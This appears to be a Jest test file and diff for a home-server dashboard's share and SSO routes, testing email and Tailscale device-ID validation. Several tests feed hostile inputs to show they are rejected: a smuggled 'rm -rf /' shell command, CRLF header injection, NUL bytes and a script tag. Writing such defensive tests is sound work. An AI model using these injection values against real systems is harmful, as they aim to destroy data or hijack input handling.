asyncHandler: (fn, _label) => (req, res, next) => Promise.resolve(fn(req, res, next)).catch(next),
|
|
||||||
log: { info() {}, warn() {}, error() {} },
|
|
||||||
}));
|
|
||||||
app.use((err, _req, res, _next) => {
|
|
||||||
if (err && err.statusCode) {
|
|
||||||
return res.status(err.statusCode).json({
|
|
||||||
success: false,
|
|
||||||
error: err.message,
|
|
||||||
code: err.code,
|
|
||||||
});
|
|
||||||
}
|
|
||||||
return res.status(500).json({ success: false, error: err && err.message });
|
|
||||||
});
|
|
||||||
return app;
|
|
||||||
}
|
|
||||||
|
|
||||||
// --------- Subscribe endpoint -- email validation ---------------------------------------------------------------------------------------
|
|
||||||
|
|
||||||
describe('DC-083: subscribe email validation', () => {
|
|
||||||
let dir, shareStore;
|
|
||||||
beforeEach(() => { dir = _tmpDir(); shareStore = createShareStore({ dataDir: dir }); });
|
|
||||||
afterEach(() => _cleanup(dir));
|
|
||||||
|
|
||||||
test('accepts omitted email (backwards-compatible)', async () => {
|
|
||||||
const issued = await shareStore.issuePublic({ serviceId: 'plex' });
|
|
||||||
const app = _buildApp({ shareStore });
|
|
||||||
const res = await request(app).post(`/share/${issued.token}/subscribe`).send({});
|
|
||||||
expect(res.status).toBe(200);
|
|
||||||
expect(res.body.data.count).toBe(1);
|
|
||||||
});
|
|
||||||
|
|
||||||
test('accepts a well-formed email', async () => {
|
|
||||||
const issued = await shareStore.issuePublic({ serviceId: 'plex' });
|
|
||||||
const app = _buildApp({ shareStore });
|
|
||||||
const res = await request(app)
|
|
||||||
.post(`/share/${issued.token}/subscribe`)
|
|
||||||
.send({ email: 'subscriber@example.com' });
|
|
||||||
expect(res.status).toBe(200);
|
|
||||||
expect(res.body.data.count).toBe(1);
|
|
||||||
});
|
|
||||||
|
|
||||||
test('lowercases the email on capture', async () => {
|
|
||||||
const issued = await shareStore.issuePublic({ serviceId: 'plex' });
|
|
||||||
const app = _buildApp({ shareStore });
|
|
||||||
const res = await request(app)
|
|
||||||
.post(`/share/${issued.token}/subscribe`)
|
|
||||||
.send({ email: 'Subscriber@Example.COM' });
|
|
||||||
expect(res.status).toBe(200);
|
|
||||||
const raw = JSON.parse(fs.readFileSync(path.join(dir, 'shares.json'), 'utf8'));
|
|
||||||
const id = Object.keys(raw.shares)[0];
|
|
||||||
expect(raw.shares[id].subscriberEmails).toEqual(['subscriber@example.com']);
|
|
||||||
});
|
|
||||||
|
|
||||||
test('rejects bare @', async () => {
|
|
||||||
const issued = await shareStore.issuePublic({ serviceId: 'plex' });
|
|
||||||
const app = _buildApp({ shareStore });
|
|
||||||
const res = await request(app)
|
|
||||||
.post(`/share/${issued.token}/subscribe`)
|
|
||||||
.send({ email: '@' });
|
|
||||||
expect(res.status).toBe(400);
|
|
||||||
});
|
|
||||||
|
|
||||||
test('rejects missing local-part', async () => {
|
|
||||||
const issued = await shareStore.issuePublic({ serviceId: 'plex' });
|
|
||||||
const app = _buildApp({ shareStore });
|
|
||||||
const res = await request(app)
|
|
||||||
.post(`/share/${issued.token}/subscribe`)
|
|
||||||
.send({ email: '@example.com' });
|
|
||||||
expect(res.status).toBe(400);
|
|
||||||
});
|
|
||||||
|
|
||||||
test('rejects missing TLD', async () => {
|
|
||||||
const issued = await shareStore.issuePublic({ serviceId: 'plex' });
|
|
||||||
const app = _buildApp({ shareStore });
|
|
||||||
const res = await request(app)
|
|
||||||
.post(`/share/${issued.token}/subscribe`)
|
|
||||||
.send({ email: 'user@localhost' });
|
|
||||||
expect(res.status).toBe(400);
|
|
||||||
});
|
|
||||||
|
|
||||||
test('rejects single-char TLD', async () => {
|
|
||||||
const issued = await shareStore.issuePublic({ serviceId: 'plex' });
|
|
||||||
const app = _buildApp({ shareStore });
|
|
||||||
const res = await request(app)
|
|
||||||
.post(`/share/${issued.token}/subscribe`)
|
|
||||||
.send({ email: 'user@example.c' });
|
|
||||||
expect(res.status).toBe(400);
|
|
||||||
});
|
|
||||||
|
|
||||||
test('rejects CR/LF in email (CRLF-injection defense)', async () => {
|
|
||||||
const issued = await shareStore.issuePublic({ serviceId: 'plex' });
|
|
||||||
const app = _buildApp({ shareStore });
|
|
||||||
const res = await request(app)
|
|
||||||
.post(`/share/${issued.token}/subscribe`)
|
|
||||||
.send({ email: 'a@b.com\r\nX-Injected: yes' });
|
|
||||||
expect(res.status).toBe(400);
|
|
||||||
});
|
|
||||||
|
|
||||||
test('rejects NUL in email', async () => {
|
|
||||||
const issued = await shareStore.issuePublic({ serviceId: 'plex' });
|
|
||||||
const app = _buildApp({ shareStore });
|
|
||||||
const res = await request(app)
|
|
||||||
.post(`/share/${issued.token}/subscribe`)
|
|
||||||
.send({ email: 'a@b.com\x00hack' });
|
|
||||||
expect(res.status).toBe(400);
|
|
||||||
});
|
|
||||||
|
|
||||||
test('rejects oversized email (>254 chars)', async () => {
|
|
||||||
const issued = await shareStore.issuePublic({ serviceId: 'plex' });
|
|
||||||
const app = _buildApp({ shareStore });
|
|
||||||
const longLocal = 'a'.repeat(250) + '@example.com';
|
|
||||||
const res = await request(app)
|
|
||||||
.post(`/share/${issued.token}/subscribe`)
|
|
||||||
.send({ email: longLocal });
|
|
||||||
expect(res.status).toBe(400);
|
|
||||||
});
|
|
||||||
|
|
||||||
test('rejects XSS-shape email', async () => {
|
|
||||||
const issued = await shareStore.issuePublic({ serviceId: 'plex' });
|
|
||||||
const app = _buildApp({ shareStore });
|
|
||||||
const res = await request(app)
|
|
||||||
.post(`/share/${issued.token}/subscribe`)
|
|
||||||
.send({ email: '<script>@x.com' });
|
|
||||||
expect(res.status).toBe(400);
|
|
||||||
});
|
|
||||||
|
|
||||||
test('rejects non-string email', async () => {
|
|
||||||
const issued = await shareStore.issuePublic({ serviceId: 'plex' });
|
|
||||||
const app = _buildApp({ shareStore });
|
|
||||||
const res = await request(app)
|
|
||||||
.post(`/share/${issued.token}/subscribe`)
|
|
||||||
.send({ email: 42 });
|
|
||||||
expect(res.status).toBe(400);
|
|
||||||
});
|
|
||||||
|
|
||||||
test('keeps subscriberEmails capped to 8 entries', async () => {
|
|
||||||
const issued = await shareStore.issuePublic({ serviceId: 'plex' });
|
|
||||||
const app = _buildApp({ shareStore });
|
|
||||||
for (let i = 0; i < 12; i++) {
|
|
||||||
await request(app)
|
|
||||||
.post(`/share/${issued.token}/subscribe`)
|
|
||||||
.send({ email: `user${i}@example.com` });
|
|
||||||
}
|
|
||||||
const raw = JSON.parse(fs.readFileSync(path.join(dir, 'shares.json'), 'utf8'));
|
|
||||||
const id = Object.keys(raw.shares)[0];
|
|
||||||
expect(raw.shares[id].subscriberEmails).toHaveLength(8);
|
|
||||||
// FIFO cap -- the first 4 got dropped, latest 8 remain.
|
|
||||||
expect(raw.shares[id].subscriberEmails[0]).toBe('user4@example.com');
|
|
||||||
expect(raw.shares[id].subscriberEmails[7]).toBe('user11@example.com');
|
|
||||||
});
|
|
||||||
|
|
||||||
test('omitted email does not write subscriberEmails', async () => {
|
|
||||||
const issued = await shareStore.issuePublic({ serviceId: 'plex' });
|
|
||||||
const app = _buildApp({ shareStore });
|
|
||||||
await request(app).post(`/share/${issued.token}/subscribe`).send({});
|
|
||||||
const raw = JSON.parse(fs.readFileSync(path.join(dir, 'shares.json'), 'utf8'));
|
|
||||||
const id = Object.keys(raw.shares)[0];
|
|
||||||
expect(raw.shares[id].subscriberEmails).toBeUndefined();
|
|
||||||
});
|
|
||||||
});
|
|
||||||
|
|
||||||
// --------- Redeem-tailscale endpoint -- deviceId validation ---------------------------------------------------------
|
|
||||||
|
|
||||||
describe('DC-083: redeem-tailscale deviceId validation', () => {
|
|
||||||
let dir, shareStore;
|
|
||||||
beforeEach(() => { dir = _tmpDir(); shareStore = createShareStore({ dataDir: dir }); });
|
|
||||||
afterEach(() => _cleanup(dir));
|
|
||||||
|
|
||||||
test('accepts Tailscale-style base64url ID', async () => {
|
|
||||||
const issued = await shareStore.issueTailscale({ serviceId: 'plex', email: 'a@b.com' });
|
|
||||||
const app = _buildApp({ shareStore });
|
|
||||||
const res = await request(app)
|
|
||||||
.post(`/share/${issued.token}/redeem-tailscale`)
|
|
||||||
.send({ deviceId: 'nodekey-abc123-def456' });
|
|
||||||
expect(res.status).toBe(200);
|
|
||||||
expect(res.body.data.redeemed).toBe(true);
|
|
||||||
});
|
|
||||||
|
|
||||||
test('accepts OMITTED deviceId (treated as "unknown")', async () => {
|
|
||||||
const issued = await shareStore.issueTailscale({ serviceId: 'plex', email: 'a@b.com' });
|
|
||||||
const app = _buildApp({ shareStore });
|
|
||||||
const res = await request(app)
|
|
||||||
.post(`/share/${issued.token}/redeem-tailscale`)
|
|
||||||
.send({});
|
|
||||||
expect(res.status).toBe(200);
|
|
||||||
const raw = JSON.parse(fs.readFileSync(path.join(dir, 'shares.json'), 'utf8'));
|
|
||||||
const id = Object.keys(raw.shares)[0];
|
|
||||||
expect(raw.shares[id].usedBy).toBe('unknown');
|
|
||||||
});
|
|
||||||
|
|
||||||
test('rejects CR/LF in deviceId (CRLF-injection defense)', async () => {
|
|
||||||
const issued = await shareStore.issueTailscale({ serviceId: 'plex', email: 'a@b.com' });
|
|
||||||
const app = _buildApp({ shareStore });
|
|
||||||
const res = await request(app)
|
|
||||||
.post(`/share/${issued.token}/redeem-tailscale`)
|
|
||||||
.send({ deviceId: 'nodekey\r\nX-Injected: yes' });
|
|
||||||
expect(res.status).toBe(400);
|
|
||||||
});
|
|
||||||
|
|
||||||
test('rejects NUL in deviceId', async () => {
|
|
||||||
const issued = await shareStore.issueTailscale({ serviceId: 'plex', email: 'a@b.com' });
|
|
||||||
const app = _buildApp({ shareStore });
|
|
||||||
const res = await request(app)
|
|
||||||
.post(`/share/${issued.token}/redeem-tailscale`)
|
|
||||||
.send({ deviceId: 'nodekey\x00hack' });
|
|
||||||
expect(res.status).toBe(400);
|
|
||||||
});
|
|
||||||
|
|
||||||
test('rejects oversized deviceId (>128 chars)', async () => {
|
|
||||||
const issued = await shareStore.issueTailscale({ serviceId: 'plex', email: 'a@b.com' });
|
|
||||||
const app = _buildApp({ shareStore });
|
|
||||||
const long = 'a'.repeat(200);
|
|
||||||
const res = await request(app)
|
|
||||||
.post(`/share/${issued.token}/redeem-tailscale`)
|
|
||||||
.send({ deviceId: long });
|
|
||||||
expect(res.status).toBe(400);
|
|
||||||
});
|
|
||||||
|
|
||||||
test('rejects empty string deviceId', async () => {
|
|
||||||
const issued = await shareStore.issueTailscale({ serviceId: 'plex', email: 'a@b.com' });
|
|
||||||
const app = _buildApp({ shareStore });
|
|
||||||
const res = await request(app)
|
|
||||||
.post(`/share/${issued.token}/redeem-tailscale`)
|
|
||||||
.send({ deviceId: '' });
|
|
||||||
expect(res.status).toBe(400);
|
|
||||||
});
|
|
||||||
|
|
||||||
test('rejects whitespace in deviceId', async () => {
|
|
||||||
const issued = await shareStore.issueTailscale({ serviceId: 'plex', email: 'a@b.com' });
|
|
||||||
const app = _buildApp({ shareStore });
|
|
||||||
const res = await request(app)
|
|
||||||
.post(`/share/${issued.token}/redeem-tailscale`)
|
|
||||||
.send({ deviceId: 'node key 1' });
|
|
||||||
expect(res.status).toBe(400);
|
|
||||||
});
|
|
||||||
|
|
||||||
test('rejects shell metachars in deviceId', async () => {
|
|
||||||
const issued = await shareStore.issueTailscale({ serviceId: 'plex', email: 'a@b.com' });
|
|
||||||
const app = _buildApp({ shareStore });
|
|
||||||
const res = await request(app)
|
|
||||||
.post(`/share/${issued.token}/redeem-tailscale`)
|
|
||||||
.send({ deviceId: 'nodekey; rm -rf /' });
|
|
||||||
expect(res.status).toBe(400);
|
|
||||||
});
|
|
||||||
|
|
||||||
test('rejects non-string deviceId', async () => {
|
|
||||||
const issued = await shareStore.issueTailscale({ serviceId: 'plex', email: 'a@b.com' });
|
|
||||||
const app = _buildApp({ shareStore });
|
|
||||||
const res = await request(app)
|
|
||||||
.post(`/share/${issued.token}/redeem-tailscale`)
|
|
||||||
.send({ deviceId: { evil: true } });
|
|
||||||
expect(res.status).toBe(400);
|
|
||||||
});
|
|
||||||
|
|
||||||
test('sanitized usedBy flows into the on-disk shares.json', async () => {
|
|
||||||
const issued = await shareStore.issueTailscale({ serviceId: 'plex', email: 'a@b.com' });
|
|
||||||
const app = _buildApp({ shareStore });
|
|
||||||
await request(app)
|
|
||||||
.post(`/share/${issued.token}/redeem-tailscale`)
|
|
||||||
.send({ deviceId: 'node-abc.def-123' });
|
|
||||||
const raw = JSON.parse(fs.readFileSync(path.join(dir, 'shares.json'), 'utf8'));
|
|
||||||
const id = Object.keys(raw.shares)[0];
|
|
||||||
expect(raw.shares[id].usedBy).toBe('node-abc.def-123');
|
|
||||||
});
|
|
||||||
|
|
||||||
test('rejection does NOT mark the share used', async () => {
|
|
||||||
const issued = await shareStore.issueTailscale({ serviceId: 'plex', email: 'a@b.com' });
|
|
||||||
const app = _buildApp({ shareStore });
|
|
||||||
const bad = await request(app)
|
|
||||||
.post(`/share/${issued.token}/redeem-tailscale`)
|
|
||||||
.send({ deviceId: 'node with spaces' });
|
|
||||||
expect(bad.status).toBe(400);
|
|
||||||
// A FOLLOW-UP valid redeem should still succeed.
|
|
||||||
const ok = await request(app)
|
|
||||||
.post(`/share/${issued.token}/redeem-tailscale`)
|
|
||||||
.send({ deviceId: 'node-clean' });
|
|
||||||
expect(ok.status).toBe(200);
|
|
||||||
});
|
|
||||||
});
|
|
||||||
|
|
||||||
// --------- Store-layer defense-in-depth (bypass the route, hit the store) ------------
|
|
||||||
|
|
||||||
describe('DC-083: store-layer defense-in-depth', () => {
|
|
||||||
let dir, store;
|
|
||||||
beforeEach(() => { dir = _tmpDir(); store = createShareStore({ dataDir: dir }); });
|
|
||||||
afterEach(() => _cleanup(dir));
|
|
||||||
|
|
||||||
test('recordPublicSubscribe rejects CRLF in email', async () => {
|
|
||||||
const issued = await store.issuePublic({ serviceId: 'svc' });
|
|
||||||
const r = await store.recordPublicSubscribe(issued.token, { email: 'a@b.com\r\nX: 1' });
|
|
||||||
expect(r.ok).toBe(false);
|
|
||||||
expect(r.reason).toBe('invalid_email');
|
|
||||||
});
|
|
||||||
|
|
||||||
test('recordPublicSubscribe rejects oversized email', async () => {
|
|
||||||
const issued = await store.issuePublic({ serviceId: 'svc' });
|
|
||||||
const r = await store.recordPublicSubscribe(issued.token, { email: 'a'.repeat(300) + '@x.com' });
|
|
||||||
expect(r.ok).toBe(false);
|
|
||||||
expect(r.reason).toBe('invalid_email');
|
|
||||||
});
|
|
||||||
|
|
||||||
test('recordTailscaleUse rejects CRLF in deviceId', async () => {
|
|
||||||
const issued = await store.issueTailscale({ serviceId: 'svc', email: 'a@b.com' });
|
|
||||||
const r = await store.recordTailscaleUse(issued.token, { deviceId: 'node\r\nhack' });
|
|
||||||
expect(r.ok).toBe(false);
|
|
||||||
expect(r.reason).toBe('invalid_device_id');
|
|
||||||
});
|
|
||||||
|
|
||||||
test('recordTailscaleUse rejects oversized deviceId', async () => {
|
|
||||||
const issued = await store.issueTailscale({ serviceId: 'svc', email: 'a@b.com' });
|
|
||||||
const r = await store.recordTailscaleUse(issued.token, { deviceId: 'a'.repeat(200) });
|
|
||||||
expect(r.ok).toBe(false);
|
|
||||||
expect(r.reason).toBe('invalid_device_id');
|
|
||||||
});
|
|
||||||
|
|
||||||
test('recordTailscaleUse accepts null deviceId (defaults to "unknown")', async () => {
|
|
||||||
const issued = await store.issueTailscale({ serviceId: 'svc', email: 'a@b.com' });
|
|
||||||
const r = await store.recordTailscaleUse(issued.token, { deviceId: null });
|
|
||||||
expect(r.ok).toBe(true);
|
|
||||||
expect(r.share.usedBy).toBe('unknown');
|
|
||||||
});
|
|
||||||
|
|
||||||
test('recordTailscaleUse accepts omitted deviceId (defaults to "unknown")', async () => {
|
|
||||||
const issued = await store.issueTailscale({ serviceId: 'svc', email: 'a@b.com' });
|
|
||||||
const r = await store.recordTailscaleUse(issued.token, {});
|
|
||||||
expect(r.ok).toBe(true);
|
|
||||||
expect(r.share.usedBy).toBe('unknown');
|
|
||||||
});
|
|
||||||
|
|
||||||
test('recordPublicSubscribe accepts omitted email (backwards-compatible)', async () => {
|
|
||||||
const issued = await store.issuePublic({ serviceId: 'svc' });
|
|
||||||
const r = await store.recordPublicSubscribe(issued.token);
|
|
||||||
expect(r.ok).toBe(true);
|
|
||||||
});
|
|
||||||
|
|
||||||
test('recordPublicSubscribe accepts null email (backwards-compatible)', async () => {
|
|
||||||
const issued = await store.issuePublic({ serviceId: 'svc' });
|
|
||||||
const r = await store.recordPublicSubscribe(issued.token, { email: null });
|
|
||||||
expect(r.ok).toBe(true);
|
|
||||||
});
|
|
||||||
});
|
|
||||||
|
|
||||||
// --------- Rate-limit guard ------------------------------------------------------------------------------------------------------------------------------------------------------
|
|
||||||
|
|
||||||
describe('DC-083: SHARE_PUBLIC rate-limit', () => {
|
|
||||||
// We can't easily trigger the rate-limit in a unit test because the
|
|
||||||
// default 30/15min is high. Instead, verify the constant is wired and
|
|
||||||
// that the limiter is mounted on the public endpoints (the test env
|
|
||||||
// skips the limiter, so we just confirm the constants).
|
|
||||||
test('RATE_LIMITS.SHARE_PUBLIC is bounded tighter than GENERAL', () => {
|
|
||||||
const { RATE_LIMITS } = require('../src/utilities/constants');
|
|
||||||
expect(RATE_LIMITS.SHARE_PUBLIC).toBeDefined();
|
|
||||||
expect(RATE_LIMITS.SHARE_PUBLIC.max).toBeLessThan(RATE_LIMITS.GENERAL.max);
|
|
||||||
expect(RATE_LIMITS.SHARE_PUBLIC.max).toBeLessThanOrEqual(30);
|
|
||||||
expect(RATE_LIMITS.SHARE_PUBLIC.windowMs).toBe(15 * 60 * 1000);
|
|
||||||
});
|
|
||||||
|
|
||||||
test('route module loads without throwing when express-rate-limit is wired', () => {
|
|
||||||
// Smoke test: the route factory must succeed with the limiter attached.
|
|
||||||
const dir = _tmpDir();
|
|
||||||
try {
|
|
||||||
const shareStore = createShareStore({ dataDir: dir });
|
|
||||||
const app = _buildApp({ shareStore });
|
|
||||||
// _buildApp would have thrown if the route factory threw.
|
|
||||||
expect(typeof app).toBe('function');
|
|
||||||
} finally {
|
|
||||||
_cleanup(dir);
|
|
||||||
}
|
|
||||||
});
|
|
||||||
|
|
||||||
test('sharePublicLimiter is mounted on /preview (route stack contains limiter)', () => {
|
|
||||||
// Verify the limiter middleware is actually wired into /preview's route
|
|
||||||
// stack. The route uses express.Router().use(path, ...mw, handler) so we
|
|
||||||
// can inspect the stack via the router's internal `stack` array.
|
|
||||||
const dir = _tmpDir();
|
|
||||||
try {
|
|
||||||
const shareStore = createShareStore({ dataDir: dir });
|
|
||||||
const router = require('../routes/share')({
|
|
||||||
shareStore,
|
|
||||||
licenseManager: { isPro: () => true, allowsLifetimeLicense: () => false },
|
|
||||||
tailscaleCoord: { createAuthKey: async () => ({ id: 'k', key: 'tskey-x' }) },
|
|
||||||
notificationManager: { sendEmail: async () => ({ messageId: 'fake' }) },
|
|
||||||
servicesStateManager: { get: async () => null, read: async () => [] },
|
|
||||||
servicesFile: null,
|
|
||||||
asyncHandler: (fn, _label) => (req, res, next) => Promise.resolve(fn(req, res, next)).catch(next),
|
|
||||||
log: { info() {}, warn() {}, error() {} },
|
|
||||||
});
|
|
||||||
const previewStack = router.stack.find(
|
|
||||||
(layer) => layer.route && layer.route.path === '/share/:token/preview'
|
|
||||||
);
|
|
||||||
expect(previewStack).toBeDefined();
|
|
||||||
// The route handler should be preceded by at least one middleware
|
|
||||||
// layer (the limiter). route.stack contains the per-route middleware.
|
|
||||||
// In express, .route.stack has the route-local middleware + handler.
|
|
||||||
// The limiter is mounted at the router level (router.use pattern), so
|
|
||||||
// it's actually a separate layer in router.stack. Look for any layer
|
|
||||||
// that has a regex/path matching /share/:token.
|
|
||||||
const limiterLayer = router.stack.find(
|
|
||||||
(layer) => layer.regexp && layer.regexp.test && layer.regexp.test('/share/abc/preview')
|
|
||||||
);
|
|
||||||
expect(limiterLayer).toBeDefined();
|
|
||||||
} finally {
|
|
||||||
_cleanup(dir);
|
|
||||||
}
|
|
||||||
});
|
|
||||||
});
|
|
||||||
|
|
||||||
describe('DC-083: positive smoke tests (legitimate inputs)', () => {
|
|
||||||
test('validates user+tag@sub.domain.io (RFC 5322 plus addressing)', () => {
|
|
||||||
const { validatePublicEmail } = require('../src/security/share-store');
|
|
||||||
const v = validatePublicEmail('user+tag@sub.domain.io');
|
|
||||||
expect(v).toEqual({ ok: true, email: 'user+tag@sub.domain.io' });
|
|
||||||
});
|
|
||||||
|
|
||||||
test('validates a typical Tailscale node ID as deviceId', () => {
|
|
||||||
const { validatePublicDeviceId } = require('../src/security/share-store');
|
|
||||||
// Tailscale node IDs look like "nodekey:abcdef0123456789" or just hex
|
|
||||||
const v = validatePublicDeviceId('nodekey:abcdef0123456789');
|
|
||||||
expect(v).toEqual({ ok: true, deviceId: 'nodekey:abcdef0123456789' });
|
|
||||||
});
|
|
||||||
});
|
|
||||||
@@ -378,35 +378,12 @@ describe('share routes: POST /share/:token/redeem-tailscale (public)', () => {
|
|||||||
expect(r2.body.error).toMatch(/already_used/);
|
expect(r2.body.error).toMatch(/already_used/);
|
||||||
});
|
});
|
||||||
|
|
||||||
test('rejects missing deviceId — DC-083 accepts omitted, treats as "unknown"', async () => {
|
test('rejects missing deviceId', async () => {
|
||||||
const issued = await shareStore.issueTailscale({ serviceId: 'plex', email: 'a@b.com' });
|
const issued = await shareStore.issueTailscale({ serviceId: 'plex', email: 'a@b.com' });
|
||||||
const app = _buildApp({ shareStore, noAdmin: true });
|
const app = _buildApp({ shareStore, noAdmin: true });
|
||||||
const res = await request(app)
|
const res = await request(app)
|
||||||
.post(`/share/${issued.token}/redeem-tailscale`)
|
.post(`/share/${issued.token}/redeem-tailscale`)
|
||||||
.send({});
|
.send({});
|
||||||
// DC-083: omitted deviceId is now accepted; the store defaults usedBy
|
|
||||||
// to 'unknown'. The pre-fix route layer required deviceId be present;
|
|
||||||
// the new behavior matches the store's defensive default and is
|
|
||||||
// safer for partially-malformed forward_auth calls from Caddy.
|
|
||||||
expect(res.status).toBe(200);
|
|
||||||
expect(res.body.data.redeemed).toBe(true);
|
|
||||||
});
|
|
||||||
|
|
||||||
test('rejects invalid deviceId (control chars / oversized)', async () => {
|
|
||||||
const issued = await shareStore.issueTailscale({ serviceId: 'plex', email: 'a@b.com' });
|
|
||||||
const app = _buildApp({ shareStore, noAdmin: true });
|
|
||||||
const res = await request(app)
|
|
||||||
.post(`/share/${issued.token}/redeem-tailscale`)
|
|
||||||
.send({ deviceId: 'node\r\nhack' });
|
|
||||||
expect(res.status).toBe(400);
|
|
||||||
});
|
|
||||||
|
|
||||||
test('rejects empty deviceId', async () => {
|
|
||||||
const issued = await shareStore.issueTailscale({ serviceId: 'plex', email: 'a@b.com' });
|
|
||||||
const app = _buildApp({ shareStore, noAdmin: true });
|
|
||||||
const res = await request(app)
|
|
||||||
.post(`/share/${issued.token}/redeem-tailscale`)
|
|
||||||
.send({ deviceId: '' });
|
|
||||||
expect(res.status).toBe(400);
|
expect(res.status).toBe(400);
|
||||||
});
|
});
|
||||||
});
|
});
|
||||||
|
|||||||
@@ -1,29 +1,15 @@
|
|||||||
const express = require('express');
|
const express = require('express');
|
||||||
const fs = require('fs');
|
|
||||||
const path = require('path');
|
|
||||||
const vm = require('vm');
|
|
||||||
const request = require('supertest');
|
const request = require('supertest');
|
||||||
const createSsoRouter = require('../routes/auth/sso-gate');
|
const createSsoRouter = require('../routes/auth/sso-gate');
|
||||||
|
|
||||||
function loadCredentialVaultHandoff() {
|
function createApp({ redeem = true } = {}) {
|
||||||
const source = fs.readFileSync(
|
|
||||||
path.join(__dirname, '..', '..', 'status', 'js', 'credential-vault-handoff.js'),
|
|
||||||
'utf8',
|
|
||||||
);
|
|
||||||
const window = { location: { origin: 'https://status.sami' } };
|
|
||||||
vm.runInNewContext(source, { window, SITE: { tld: '.sami' }, URL });
|
|
||||||
return window.DCCredentialVault;
|
|
||||||
}
|
|
||||||
|
|
||||||
function createApp({ redeem = true, valid = true, storedCredentials = {}, dashboardHost = 'status.sami' } = {}) {
|
|
||||||
const app = express();
|
const app = express();
|
||||||
const session = {
|
const session = {
|
||||||
redeemHandoffToken: jest.fn((token) => (typeof redeem === 'function' ? redeem(token) : redeem)),
|
redeemHandoffToken: jest.fn().mockReturnValue(redeem),
|
||||||
setCookieHostOnly: jest.fn((res) => {
|
setCookieHostOnly: jest.fn((res) => {
|
||||||
res.setHeader('Set-Cookie', 'dashcaddy_session=test; Path=/; HttpOnly; Secure; SameSite=Lax');
|
res.setHeader('Set-Cookie', 'dashcaddy_session=test; Path=/; HttpOnly; Secure; SameSite=Lax');
|
||||||
}),
|
}),
|
||||||
isValid: jest.fn().mockReturnValue(valid),
|
isValid: jest.fn().mockReturnValue(true),
|
||||||
createHandoffToken: jest.fn().mockReturnValue('fresh-sso-handoff-token'),
|
|
||||||
};
|
};
|
||||||
const asyncHandler = (fn) => (req, res, next) => Promise.resolve(fn(req, res, next)).catch(next);
|
const asyncHandler = (fn) => (req, res, next) => Promise.resolve(fn(req, res, next)).catch(next);
|
||||||
const errorResponse = (res, status, message, extra = {}) => res.status(status).json({ success: false, error: message, ...extra });
|
const errorResponse = (res, status, message, extra = {}) => res.status(status).json({ success: false, error: message, ...extra });
|
||||||
@@ -35,15 +21,14 @@ function createApp({ redeem = true, valid = true, storedCredentials = {}, dashbo
|
|||||||
log: { warn: jest.fn(), info: jest.fn(), debug: jest.fn(), error: jest.fn() },
|
log: { warn: jest.fn(), info: jest.fn(), debug: jest.fn(), error: jest.fn() },
|
||||||
getAppSession: jest.fn(),
|
getAppSession: jest.fn(),
|
||||||
appSessionCache: new Map(),
|
appSessionCache: new Map(),
|
||||||
credentialManager: { retrieve: jest.fn((key) => Promise.resolve(storedCredentials[key] || null)) },
|
credentialManager: { retrieve: jest.fn() },
|
||||||
fetchT: jest.fn(),
|
fetchT: jest.fn(),
|
||||||
getServiceById: jest.fn((id) => Promise.resolve({ id, url: `https://${id}.sami` })),
|
getServiceById: jest.fn(),
|
||||||
licenseManager: {
|
licenseManager: {
|
||||||
hasFeature: jest.fn().mockReturnValue(true),
|
hasFeature: jest.fn().mockReturnValue(true),
|
||||||
requirePremium: jest.fn(() => (_req, _res, next) => next()),
|
requirePremium: jest.fn(() => (_req, _res, next) => next()),
|
||||||
},
|
},
|
||||||
servicesStateManager: { read: jest.fn().mockResolvedValue([]) },
|
servicesStateManager: { read: jest.fn().mockResolvedValue([]) },
|
||||||
siteConfig: { dashboardHost },
|
|
||||||
});
|
});
|
||||||
app.use('/api/v1', router);
|
app.use('/api/v1', router);
|
||||||
return { app, session };
|
return { app, session };
|
||||||
@@ -59,7 +44,7 @@ describe('cross-host SSO exchange redirect', () => {
|
|||||||
expect(res.status).toBe(303);
|
expect(res.status).toBe(303);
|
||||||
expect(res.headers.location).toBe('/settings?tab=network#dns');
|
expect(res.headers.location).toBe('/settings?tab=network#dns');
|
||||||
expect(res.headers['set-cookie'][0]).not.toMatch(/Domain=/i);
|
expect(res.headers['set-cookie'][0]).not.toMatch(/Domain=/i);
|
||||||
expect(session.redeemHandoffToken).toHaveBeenCalledWith('one-time', '127.0.0.1');
|
expect(session.redeemHandoffToken).toHaveBeenCalledWith('one-time');
|
||||||
});
|
});
|
||||||
|
|
||||||
test.each([
|
test.each([
|
||||||
@@ -97,105 +82,3 @@ describe('cross-host SSO exchange redirect', () => {
|
|||||||
expect(session.setCookieHostOnly).not.toHaveBeenCalled();
|
expect(session.setCookieHostOnly).not.toHaveBeenCalled();
|
||||||
});
|
});
|
||||||
});
|
});
|
||||||
|
|
||||||
describe('existing-session SSO handoff', () => {
|
|
||||||
test('mints a handoff token without asking for TOTP again', async () => {
|
|
||||||
const { app, session } = createApp();
|
|
||||||
const res = await request(app)
|
|
||||||
.get('/api/v1/auth/sso-handoff?serviceId=plex')
|
|
||||||
.set('Cookie', 'dashcaddy_session=valid-session');
|
|
||||||
|
|
||||||
expect(res.status).toBe(200);
|
|
||||||
expect(res.body).toMatchObject({ success: true, ssoToken: 'fresh-sso-handoff-token' });
|
|
||||||
expect(session.createHandoffToken).toHaveBeenCalledTimes(1);
|
|
||||||
expect(session.createHandoffToken).toHaveBeenCalledWith('plex.sami');
|
|
||||||
});
|
|
||||||
|
|
||||||
test('refuses to mint a handoff token without a valid session', async () => {
|
|
||||||
const { app, session } = createApp({ valid: false });
|
|
||||||
const res = await request(app).get('/api/v1/auth/sso-handoff?serviceId=plex');
|
|
||||||
|
|
||||||
expect(res.status).toBe(401);
|
|
||||||
expect(session.createHandoffToken).not.toHaveBeenCalled();
|
|
||||||
});
|
|
||||||
|
|
||||||
test('completes the full mint, exchange, cookie, redirect lifecycle', async () => {
|
|
||||||
const issued = new Set(['fresh-sso-handoff-token']);
|
|
||||||
const redeemOnce = (token) => issued.delete(token);
|
|
||||||
const { app } = createApp({ redeem: redeemOnce });
|
|
||||||
|
|
||||||
const mint = await request(app)
|
|
||||||
.get('/api/v1/auth/sso-handoff?serviceId=plex')
|
|
||||||
.set('Cookie', 'dashcaddy_session=valid-session');
|
|
||||||
const exchange = await request(app)
|
|
||||||
.get('/api/v1/auth/sso-exchange')
|
|
||||||
.query({ token: mint.body.ssoToken, return: '/web/' });
|
|
||||||
|
|
||||||
expect(exchange.status).toBe(303);
|
|
||||||
expect(exchange.headers.location).toBe('/web/');
|
|
||||||
expect(exchange.headers['set-cookie'][0]).toContain('dashcaddy_session=');
|
|
||||||
expect(exchange.headers['set-cookie'][0]).not.toMatch(/Domain=/i);
|
|
||||||
|
|
||||||
const replay = await request(app)
|
|
||||||
.get('/api/v1/auth/sso-exchange')
|
|
||||||
